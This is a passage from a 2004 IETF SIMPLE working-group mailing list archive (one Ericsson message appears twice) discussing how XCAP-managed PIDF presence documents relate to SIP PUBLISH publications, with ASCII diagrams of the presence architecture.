> The model which is implicit here (and perhaps needs to be explicit),=20
> looks something like this:
>=20
>    Please view in a fixed-width font such as Courier.
>=20
>=20
>=20
>=20
>=20
>=20
>=20
>=20
>=20
>=20
>=20
>=20
>                          +--------------+    SUB
>                          |              |<--------------
>                          |  Presence    |
>                          |  Server      |
>                          |              |    NOT
>                          |              |-------------->
>                          |              |
>                          +--------------+
>                            /        \
>                          //          \\
>                         /              \    publication
>                        /                \
>                      // SIP              \\
>                     /   PUBLISH            \
>                    /                        \
>=20
>             +-----------+                 +-----------+
>             |           |                 |           |
>             |   PUA     |                 | XCAP Srvr |
>             +-----------+                 +-----------+
>                                                  ^
>                                                  |
>                                                  |
>                                                  |  xcap
>                                                  |
>                                                  |
>                                                  |
>                                                  |
>                                                  |
>                                                  |
>                                           +------------+
>                                           |            |
>                                           | XCAP Client|
>                                           +------------+
>=20
> In this model, the presence server has many sources of presence data.=20
> One is the SIP published documents. Another one is the xcap server,=20
> which stores a presence document permananetly and makes it=20
> available to=20
> the presence serevr through some kind of "publication" mecahnism=20
> (generally an internal interface). The client can manipulate this=20
> permanent document using xcap.
>=20
> In this model, the xcap server simply doesnt have access to=20
> the presence=20
> documents published through sip.
>=20
> Even if it did, we have no way to address them. That is, lets=20
> say I had=20
> a PC and a phone, and both used SIP PUBLISH to publish presence=20
> documents. What xcap URL corresponds to the PC's presence=20
> doc, and which=20
> xcap url points to that of the phone? You would need to define=20
> conventions for addressing these SIP published documents with=20
> xcap. The=20
> pidf-manipulation document doesnt do that, so there is simply=20
> no way to=20
> even shake a url at one of those documents to modify it. In=20
> that way, it=20
> is disallowed by the spec.
>=20
>=20
> >=20
> > And one more thing, all applications using XCAP should have the XML
> > schema included in the usage draft for consistency and completness.=20
> > The list usage application had them there, the CPCP (XCON) were
> > instructed to do. In this case they are not.
>=20
> The schema for pidf-manipulation is pidf, so I thought it defined the=20
> schema by referencing the pidf document. What is wrong with=20
> doing that?
>=20
> Thanks,
> Jonathan R.
>=20
> --=20
> Jonathan D. Rosenberg, Ph.D.                600 Lanidex Plaza
> Chief Technology Officer                    Parsippany, NJ 07054-2711
> dynamicsoft
> jdrosen@dynamicsoft.com                     FAX:   (973) 952-5050
> http://www.jdrosen.net                      PHONE: (973) 952-5000
> http://www.dynamicsoft.com
>=20

_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple



From simple-admin@ietf.org  Fri Mar 12 08:41:47 2004
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id IAA20328
	for <simple-archive@ietf.org>; Fri, 12 Mar 2004 08:41:47 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B1mv6-0004dt-00
	for simple-archive@ietf.org; Fri, 12 Mar 2004 08:41:48 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B1mu0-0004VJ-00
	for simple-archive@ietf.org; Fri, 12 Mar 2004 08:40:41 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B1mtY-0004Nh-00; Fri, 12 Mar 2004 08:40:12 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B1mtS-0006fw-9I; Fri, 12 Mar 2004 08:40:06 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B1msq-0006ek-W5
	for simple@optimus.ietf.org; Fri, 12 Mar 2004 08:39:29 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id IAA20230
	for <simple@ietf.org>; Fri, 12 Mar 2004 08:39:26 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B1msp-0004Mm-00
	for simple@ietf.org; Fri, 12 Mar 2004 08:39:27 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B1mrt-0004GG-00
	for simple@ietf.org; Fri, 12 Mar 2004 08:38:30 -0500
Received: from imr1.ericy.com ([198.24.6.9])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B1mr3-00043L-00
	for simple@ietf.org; Fri, 12 Mar 2004 08:37:37 -0500
Received: from eamrcnt716.exu.ericsson.se (eamrcnt716.exu.ericsson.se [138.85.90.247])
	by imr1.ericy.com (8.12.10/8.12.10) with ESMTP id i2CDb0Lc014981
	for <simple@ietf.org>; Fri, 12 Mar 2004 07:37:00 -0600 (CST)
Received: from eamrcnt750.exu.ericsson.se ([138.85.133.51]) by eamrcnt716.exu.ericsson.se with Microsoft SMTPSVC(6.0.3790.0);
	 Fri, 12 Mar 2004 07:35:13 -0600
Received: by eamrcnt750.exu.ericsson.se with Internet Mail Service (5.5.2657.72)
	id <GXVDKTKF>; Fri, 12 Mar 2004 07:36:49 -0600
Message-ID: <2DBF697D5B36014ABA46E66A96107DA02C960E@lmc37.lmc.ericsson.se>
From: "George Foti (QA/EMC)" <george.foti@ericsson.com>
To: "'Markus.Isomaki@nokia.com'" <Markus.Isomaki@nokia.com>,
        jdrosen@dynamicsoft.com
Cc: simple@ietf.org
Subject: RE: [Simple] RE: Comments on PIDF-Manipulation Usage-00draft  (wa
	 s RE: Comment s on draft-isomaki-simple-xcap-publish-usage-00)
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2657.72)
Content-Type: text/plain;
	charset="iso-8859-1"
X-OriginalArrivalTime: 12 Mar 2004 13:35:13.0062 (UTC) FILETIME=[D8BB3460:01C40836]
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Fri, 12 Mar 2004 07:35:55 -0600
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.1 required=5.0 tests=AWL autolearn=no version=2.60

So let me run an example to see how this would work:

I assume here that there is no *standard* definition of what tuples are "hard state" or "soft state".

I go to my PC, using XCAP create an XML document that sets my cell phone status to be off, say tuple 1.
The XCAP server, in turn, updates the composer & my presence status for susbription.
Then I turn my cell phone on, and launch the presence client in it, which  I probably can configure to use the same tuple id (as the one used in XCAP i.e tuple). The client will sets the presence status ON &  pulishes that  to the composer using PUBLISH.

So here is my cell phons status from each entity's point of view: 
1) The XCAP server has my cell phone turned OFF in its storage. 
2) My presence status has my cell phone turned ON.

Is that the way it should behave?
Can u please elaborate a bit on your answer here.

Thnx/gf





> -----Original Message-----
> From: Markus.Isomaki@nokia.com [mailto:Markus.Isomaki@nokia.com]
> Sent: Friday, March 12, 2004 5:18 AM
> To: jdrosen@dynamicsoft.com; George Foti (QA/EMC)
> Cc: simple@ietf.org
> Subject: RE: [Simple] RE: Comments on PIDF-Manipulation Usage-00draft
> (wa s RE: Comment s on draft-isomaki-simple-xcap-publish-usage-00)
> 
> 
> Hi,
> 
> I think Jonathan already explained the relationship between 
> the PIDF document that is manipulated with XCAP and the ones 
> published using SIP PUBLISH. Actually the current draft 
> already has a similar figure as Jonathan draw included:
> 
> ---
> 
> 
>                +---------------+         +------------+
>                |   Event State |         |  Presence  |--> 
> SIP SUBSCRIBE
>                |   Compositor  +---------+  Agent     |<-- SIP NOTIFY
>                |               |         |   (PA)     |
>                +-------+-------+         +------------+
>                  ^     ^     ^
>                  |     |     |
>                  |     |     |       +---------------+
>         +--------+     |     +-------|  XCAP server  |
>         |              |             +-------+-------+
>         |              |                 ^         ^
>         | SIP Publish  |                 |  XCAP   |
>         |              |                 |         |
>      +--+--+        +--+--+         +-------+   +-------+
>      | PUA |        | PUA |         | XCAP  |   | XCAP  |
>      |     |        |     |         | client|   | client|
>      +-----+        +-----+         +-------+   +-------+
> 
> 
>       Figure 1: Framework for Presence Publishing and Event State
>                               Composition
> 
> ---
> 
> So it should be explicit and normative that XCAP and PUBLISH 
> work upon different documents, and it is the matter of the 
> "event state compositor" to figure out how to consolidate 
> those inputs.
> 
> I'm planning to submit the "WG-version" of the draft early 
> next. Before that I'll check if it is still possible to 
> improve the wording to make things more clear, although I 
> think the current text should be quite clear already.
> 
> I also think it's better to reference to the RFC defining the 
> PIDF schema rather than copy-paste the definition within this draft. 
> 
> Markus
> 
> > -----Original Message-----
> > From: ext Jonathan Rosenberg [mailto:jdrosen@dynamicsoft.com]
> > Sent: 11 March, 2004 06:58
> > To: George Foti (QA/EMC)
> > Cc: Isomaki Markus (Nokia-NRC/Helsinki); simple@ietf.org
> > Subject: Re: [Simple] RE: Comments on PIDF-Manipulation 
> Usage-00draft
> > (wa s RE: Comment s on draft-isomaki-simple-xcap-publish-usage-00)
> > 
> > 
> > 
> > inline.
> > 
> > George Foti (QA/EMC) wrote:
> > 
> > >> What if a user changes other  soft tuples with XCAP.
> > >> 
> > >> It is my understanding that they cannot.
> > >> 
> > >> This is enforced because the presence documents 
> published through 
> > >> PUBLISH are simply not reflected into the xcap hierarchy.
> > >> 
> > >> 
> > >>> 
> > >>> Will the server allow that?
> > >> 
> > >> No.
> > > 
> > > 
> > > The current scope of the PIDF manipluation using XCAP is 
> the entire
> > > PIDF XML document as well as presence extensions.
> > 
> > 
> > Right.
> > 
> > 
> > > There is nothing in
> > > the draft that says otherwise. As far as PUBLISH is concerned, the
> > > draft 03 explitly says that the content type for a 
> > published presence
> > > event is the PIDF presence document.
> > 
> > Right.
> > 
> > > 
> > > Doesn't that imply that the indeed, per the current 
> draft, published
> > > documents for presence events are indeed reflected in the xcap
> > > hierarchy, or have I missed something ?
> > 
> > No. Just because the content type of publications is the 
> same as the 
> > type manipulated by xcap, it does not mean that you can manipulate 
> > published documents with xcap.
> > 
> > The model which is implicit here (and perhaps needs to be 
> explicit), 
> > looks something like this:
> > 
> >    Please view in a fixed-width font such as Courier.
> > 
> > 
> > 
> > 
> > 
> > 
> > 
> > 
> > 
> > 
> > 
> > 
> >                          +--------------+    SUB
> >                          |              |<--------------
> >                          |  Presence    |
> >                          |  Server      |
> >                          |              |    NOT
> >                          |              |-------------->
> >                          |              |
> >                          +--------------+
> >                            /        \
> >                          //          \\
> >                         /              \    publication
> >                        /                \
> >                      // SIP              \\
> >                     /   PUBLISH            \
> >                    /                        \
> > 
> >             +-----------+                 +-----------+
> >             |           |                 |           |
> >             |   PUA     |                 | XCAP Srvr |
> >             +-----------+                 +-----------+
> >                                                  ^
> >                                                  |
> >                                                  |
> >                                                  |  xcap
> >                                                  |
> >                                                  |
> >                                                  |
> >                                                  |
> >                                                  |
> >                                                  |
> >                                           +------------+
> >                                           |            |
> >                                           | XCAP Client|
> >                                           +------------+
> > 
> > In this model, the presence server has many sources of 
> presence data. 
> > One is the SIP published documents. Another one is the xcap server, 
> > which stores a presence document permananetly and makes it 
> > available to 
> > the presence serevr through some kind of "publication" mecahnism 
> > (generally an internal interface). The client can manipulate this 
> > permanent document using xcap.
> > 
> > In this model, the xcap server simply doesnt have access to 
> > the presence 
> > documents published through sip.
> > 
> > Even if it did, we have no way to address them. That is, lets 
> > say I had 
> > a PC and a phone, and both used SIP PUBLISH to publish presence 
> > documents. What xcap URL corresponds to the PC's presence 
> > doc, and which 
> > xcap url points to that of the phone? You would need to define 
> > conventions for addressing these SIP published documents with 
> > xcap. The 
> > pidf-manipulation document doesnt do that, so there is simply 
> > no way to 
> > even shake a url at one of those documents to modify it. In 
> > that way, it 
> > is disallowed by the spec.
> > 
> > 
> > > 
> > > And one more thing, all applications using XCAP should 
> have the XML
> > > schema included in the usage draft for consistency and 
> completness. 
> > > The list usage application had them there, the CPCP (XCON) were
> > > instructed to do. In this case they are not.
> > 
> > The schema for pidf-manipulation is pidf, so I thought it 
> defined the 
> > schema by referencing the pidf document. What is wrong with 
> > doing that?
> > 
> > Thanks,
> > Jonathan R.
> > 
> > -- 
> > Jonathan D. Rosenberg, Ph.D.                600 Lanidex Plaza
> > Chief Technology Officer                    Parsippany, NJ 
> 07054-2711
> > dynamicsoft
> > jdrosen@dynamicsoft.com                     FAX:   (973) 952-5050
> > http://www.jdrosen.net                      PHONE: (973) 952-5000
> > http://www.dynamicsoft.com
> > 
> 
 

This communication is confidential and intended solely for the addressee(s). Any unauthorized review, use, disclosure or distribution is prohibited. If you believe this message has been sent to you in error, please notify the sender by replying to this transmission and delete the message without disclosing it. Thank you.

E-mail including attachments is susceptible to data corruption, interruption, unauthorized amendment, tampering and viruses, and we only send and receive e-mails on the basis that we are not liable for any such corruption, interception, amendment, tampering or viruses or any consequences thereof.

_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple


From exim@www1.ietf.org  Fri Mar 12 08:42:20 2004
Received: from optimus.ietf.org (optimus.ietf.org [132.151.1.19])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id IAA20381
	for <simple-archive@odin.ietf.org>; Fri, 12 Mar 2004 08:42:20 -0500 (EST)
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B1mv9-0006qF-Pi
	for simple-archive@odin.ietf.org; Fri, 12 Mar 2004 08:41:51 -0500
Received: (from exim@localhost)
	by www1.ietf.org (8.12.8/8.12.8/Submit) id i2CDfpPK026289
	for simple-archive@odin.ietf.org; Fri, 12 Mar 2004 08:41:51 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B1mv9-0006pv-Jk
	for simple-web-archive@optimus.ietf.org; Fri, 12 Mar 2004 08:41:51 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id IAA20346
	for <simple-web-archive@ietf.org>; Fri, 12 Mar 2004 08:41:48 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B1mv7-0004dy-00
	for simple-web-archive@ietf.org; Fri, 12 Mar 2004 08:41:49 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B1mu1-0004VR-00
	for simple-web-archive@ietf.org; Fri, 12 Mar 2004 08:40:42 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B1mtY-0004Nh-00; Fri, 12 Mar 2004 08:40:12 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B1mtS-0006fw-9I; Fri, 12 Mar 2004 08:40:06 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B1msq-0006ek-W5
	for simple@optimus.ietf.org; Fri, 12 Mar 2004 08:39:29 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id IAA20230
	for <simple@ietf.org>; Fri, 12 Mar 2004 08:39:26 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B1msp-0004Mm-00
	for simple@ietf.org; Fri, 12 Mar 2004 08:39:27 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B1mrt-0004GG-00
	for simple@ietf.org; Fri, 12 Mar 2004 08:38:30 -0500
Received: from imr1.ericy.com ([198.24.6.9])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B1mr3-00043L-00
	for simple@ietf.org; Fri, 12 Mar 2004 08:37:37 -0500
Received: from eamrcnt716.exu.ericsson.se (eamrcnt716.exu.ericsson.se [138.85.90.247])
	by imr1.ericy.com (8.12.10/8.12.10) with ESMTP id i2CDb0Lc014981
	for <simple@ietf.org>; Fri, 12 Mar 2004 07:37:00 -0600 (CST)
Received: from eamrcnt750.exu.ericsson.se ([138.85.133.51]) by eamrcnt716.exu.ericsson.se with Microsoft SMTPSVC(6.0.3790.0);
	 Fri, 12 Mar 2004 07:35:13 -0600
Received: by eamrcnt750.exu.ericsson.se with Internet Mail Service (5.5.2657.72)
	id <GXVDKTKF>; Fri, 12 Mar 2004 07:36:49 -0600
Message-ID: <2DBF697D5B36014ABA46E66A96107DA02C960E@lmc37.lmc.ericsson.se>
From: "George Foti (QA/EMC)" <george.foti@ericsson.com>
To: "'Markus.Isomaki@nokia.com'" <Markus.Isomaki@nokia.com>,
        jdrosen@dynamicsoft.com
Cc: simple@ietf.org
Subject: RE: [Simple] RE: Comments on PIDF-Manipulation Usage-00draft  (wa
	 s RE: Comment s on draft-isomaki-simple-xcap-publish-usage-00)
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2657.72)
Content-Type: text/plain;
	charset="iso-8859-1"
X-OriginalArrivalTime: 12 Mar 2004 13:35:13.0062 (UTC) FILETIME=[D8BB3460:01C40836]
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Fri, 12 Mar 2004 07:35:55 -0600
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.1 required=5.0 tests=AWL autolearn=no version=2.60

So let me run an example to see how this would work:

I assume here that there is no *standard* definition of what tuples are "hard state" or "soft state".

I go to my PC, using XCAP create an XML document that sets my cell phone status to be off, say tuple 1.
The XCAP server, in turn, updates the composer & my presence status for susbription.
Then I turn my cell phone on, and launch the presence client in it, which  I probably can configure to use the same tuple id (as the one used in XCAP i.e tuple). The client will sets the presence status ON &  pulishes that  to the composer using PUBLISH.

So here is my cell phons status from each entity's point of view: 
1) The XCAP server has my cell phone turned OFF in its storage. 
2) My presence status has my cell phone turned ON.

Is that the way it should behave?
Can u please elaborate a bit on your answer here.

Thnx/gf





> -----Original Message-----
> From: Markus.Isomaki@nokia.com [mailto:Markus.Isomaki@nokia.com]
> Sent: Friday, March 12, 2004 5:18 AM
> To: jdrosen@dynamicsoft.com; George Foti (QA/EMC)
> Cc: simple@ietf.org
> Subject: RE: [Simple] RE: Comments on PIDF-Manipulation Usage-00draft
> (wa s RE: Comment s on draft-isomaki-simple-xcap-publish-usage-00)
> 
> 
> Hi,
> 
> I think Jonathan already explained the relationship between 
> the PIDF document that is manipulated with XCAP and the ones 
> published using SIP PUBLISH. Actually the current draft 
> already has a similar figure as Jonathan draw included:
> 
> ---
> 
> 
>                +---------------+         +------------+
>                |   Event State |         |  Presence  |--> 
> SIP SUBSCRIBE
>                |   Compositor  +---------+  Agent     |<-- SIP NOTIFY
>                |               |         |   (PA)     |
>                +-------+-------+         +------------+
>                  ^     ^     ^
>                  |     |     |
>                  |     |     |       +---------------+
>         +--------+     |     +-------|  XCAP server  |
>         |              |             +-------+-------+
>         |              |                 ^         ^
>         | SIP Publish  |                 |  XCAP   |
>         |              |                 |         |
>      +--+--+        +--+--+         +-------+   +-------+
>      | PUA |        | PUA |         | XCAP  |   | XCAP  |
>      |     |        |     |         | client|   | client|
>      +-----+        +-----+         +-------+   +-------+
> 
> 
>       Figure 1: Framework for Presence Publishing and Event State
>                               Composition
> 
> ---
> 
> So it should be explicit and normative that XCAP and PUBLISH 
> work upon different documents, and it is the matter of the 
> "event state compositor" to figure out how to consolidate 
> those inputs.
> 
> I'm planning to submit the "WG-version" of the draft early 
> next. Before that I'll check if it is still possible to 
> improve the wording to make things more clear, although I 
> think the current text should be quite clear already.
> 
> I also think it's better to reference to the RFC defining the 
> PIDF schema rather than copy-paste the definition within this draft. 
> 
> Markus
> 
> > -----Original Message-----
> > From: ext Jonathan Rosenberg [mailto:jdrosen@dynamicsoft.com]
> > Sent: 11 March, 2004 06:58
> > To: George Foti (QA/EMC)
> > Cc: Isomaki Markus (Nokia-NRC/Helsinki); simple@ietf.org
> > Subject: Re: [Simple] RE: Comments on PIDF-Manipulation 
> Usage-00draft
> > (wa s RE: Comment s on draft-isomaki-simple-xcap-publish-usage-00)
> > 
> > 
> > 
> > inline.
> > 
> > George Foti (QA/EMC) wrote:
> > 
> > >> What if a user changes other  soft tuples with XCAP.
> > >> 
> > >> It is my understanding that they cannot.
> > >> 
> > >> This is enforced because the presence documents 
> published through 
> > >> PUBLISH are simply not reflected into the xcap hierarchy.
> > >> 
> > >> 
> > >>> 
> > >>> Will the server allow that?
> > >> 
> > >> No.
> > > 
> > > 
> > > The current scope of the PIDF manipluation using XCAP is 
> the entire
> > > PIDF XML document as well as presence extensions.
> > 
> > 
> > Right.
> > 
> > 
> > > There is nothing in
> > > the draft that says otherwise. As far as PUBLISH is concerned, the
> > > draft 03 explitly says that the content type for a 
> > published presence
> > > event is the PIDF presence document.
> > 
> > Right.
> > 
> > > 
> > > Doesn't that imply that the indeed, per the current 
> draft, published
> > > documents for presence events are indeed reflected in the xcap
> > > hierarchy, or have I missed something ?
> > 
> > No. Just because the content type of publications is the 
> same as the 
> > type manipulated by xcap, it does not mean that you can manipulate 
> > published documents with xcap.
> > 
> > The model which is implicit here (and perhaps needs to be 
> explicit), 
> > looks something like this:
> > 
> >    Please view in a fixed-width font such as Courier.
> > 
> > 
> > 
> > 
> > 
> > 
> > 
> > 
> > 
> > 
> > 
> > 
> >                          +--------------+    SUB
> >                          |              |<--------------
> >                          |  Presence    |
> >                          |  Server      |
> >                          |              |    NOT
> >                          |              |-------------->
> >                          |              |
> >                          +--------------+
> >                            /        \
> >                          //          \\
> >                         /              \    publication
> >                        /                \
> >                      // SIP              \\
> >                     /   PUBLISH            \
> >                    /                        \
> > 
> >             +-----------+                 +-----------+
> >             |           |                 |           |
> >             |   PUA     |                 | XCAP Srvr |
> >             +-----------+                 +-----------+
> >                                                  ^
> >                                                  |
> >                                                  |
> >                                                  |  xcap
> >                                                  |
> >                                                  |
> >                                                  |
> >                                                  |
> >                                                  |
> >                                                  |
> >                                           +------------+
> >                                           |            |
> >                                           | XCAP Client|
> >                                           +------------+
> > 
> > In this model, the presence server has many sources of 
> presence data. 
> > One is the SIP published documents. Another one is the xcap server, 
> > which stores a presence document permananetly and makes it 
> > available to 
> > the presence serevr through some kind of "publication" mecahnism 
> > (generally an internal interface). The client can manipulate this 
> > permanent document using xcap.
> > 
> > In this model, the xcap server simply doesnt have access to 
> > the presence 
> > documents published through sip.
> > 
> > Even if it did, we have no way to address them. That is, lets 
> > say I had 
> > a PC and a phone, and both used SIP PUBLISH to publish presence 
> > documents. What xcap URL corresponds to the PC's presence 
> > doc, and which 
> > xcap url points to that of the phone? You would need to define 
> > conventions for addressing these SIP published documents with 
> > xcap. The 
> > pidf-manipulation document doesnt do that, so there is simply 
> > no way to 
> > even shake a url at one of those documents to modify it. In 
> > that way, it 
> > is disallowed by the spec.
> > 
> > 
> > > 
> > > And one more thing, all applications using XCAP should 
> have the XML
> > > schema included in the usage draft for consistency and 
> completness. 
> > > The list usage application had them there, the CPCP (XCON) were
> > > instructed to do. In this case they are not.
> > 
> > The schema for pidf-manipulation is pidf, so I thought it 
> defined the 
> > schema by referencing the pidf document. What is wrong with 
> > doing that?
> > 
> > Thanks,
> > Jonathan R.
> > 
> > -- 
> > Jonathan D. Rosenberg, Ph.D.                600 Lanidex Plaza
> > Chief Technology Officer                    Parsippany, NJ 
> 07054-2711
> > dynamicsoft
> > jdrosen@dynamicsoft.com                     FAX:   (973) 952-5050
> > http://www.jdrosen.net                      PHONE: (973) 952-5000
> > http://www.dynamicsoft.com
> > 
> 
 

This communication is confidential and intended solely for the addressee(s). Any unauthorized review, use, disclosure or distribution is prohibited. If you believe this message has been sent to you in error, please notify the sender by replying to this transmission and delete the message without disclosing it. Thank you.

E-mail including attachments is susceptible to data corruption, interruption, unauthorized amendment, tampering and viruses, and we only send and receive e-mails on the basis that we are not liable for any such corruption, interception, amendment, tampering or viruses or any consequences thereof.

_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple



From simple-admin@ietf.org  Fri Mar 12 09:02:29 2004
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id JAA21523
	for <simple-archive@ietf.org>; Fri, 12 Mar 2004 09:02:29 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B1nF8-0007eB-00
	for simple-archive@ietf.org; Fri, 12 Mar 2004 09:02:30 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B1nEE-0007XU-00
	for simple-archive@ietf.org; Fri, 12 Mar 2004 09:01:35 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B1nDo-0007Ql-00; Fri, 12 Mar 2004 09:01:08 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B1nDi-0008Ld-Ua; Fri, 12 Mar 2004 09:01:02 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B1nDM-0008Hy-N4
	for simple@optimus.ietf.org; Fri, 12 Mar 2004 09:00:40 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id JAA21434
	for <simple@ietf.org>; Fri, 12 Mar 2004 09:00:38 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B1nDL-0007Pc-00
	for simple@ietf.org; Fri, 12 Mar 2004 09:00:39 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B1nCV-0007IF-00
	for simple@ietf.org; Fri, 12 Mar 2004 08:59:47 -0500
Received: from cs.columbia.edu ([128.59.16.20])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B1nBv-00079b-00
	for simple@ietf.org; Fri, 12 Mar 2004 08:59:11 -0500
Received: from bear.cs.columbia.edu (IDENT:PMUkFvTt/+sUIodQqEuBmZL+uugnqRXB@bear.cs.columbia.edu [128.59.16.121])
	by cs.columbia.edu (8.12.10/8.12.10) with ESMTP id i2CDv8NC007423
	(version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NOT);
	Fri, 12 Mar 2004 08:57:08 -0500 (EST)
Received: from cs.columbia.edu (pool-138-89-69-144.mad.east.verizon.net [138.89.69.144])
	(authenticated bits=0)
	by bear.cs.columbia.edu (8.12.9/8.12.9) with ESMTP id i2CDv7fG024209
	(version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT);
	Fri, 12 Mar 2004 08:57:08 -0500
Message-ID: <4051C1AF.6030008@cs.columbia.edu>
From: Henning Schulzrinne <hgs@cs.columbia.edu>
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7a) Gecko/20040219
X-Accept-Language: en-us, en, de
MIME-Version: 1.0
To: Jonathan Rosenberg <jdrosen@dynamicsoft.com>, simple@ietf.org
Subject: Re: [Simple] is-composing: has-focus?
References: <404C511B.7050506@cs.columbia.edu> <404D6702.1080701@dynamicsoft.com> <404D9CF2.9010801@cs.columbia.edu> <404F3429.8020305@dynamicsoft.com> <404FCBBD.4080706@cs.columbia.edu> <40514CE7.7080907@dynamicsoft.com>
In-Reply-To: <40514CE7.7080907@dynamicsoft.com>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Fri, 12 Mar 2004 08:57:03 -0500
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.0 required=5.0 tests=none autolearn=no version=2.60
Content-Transfer-Encoding: 7bit



Jonathan Rosenberg wrote:

> 
> 
> Henning Schulzrinne wrote:
> 
>> We can indeed add more states later, but then probably should change 
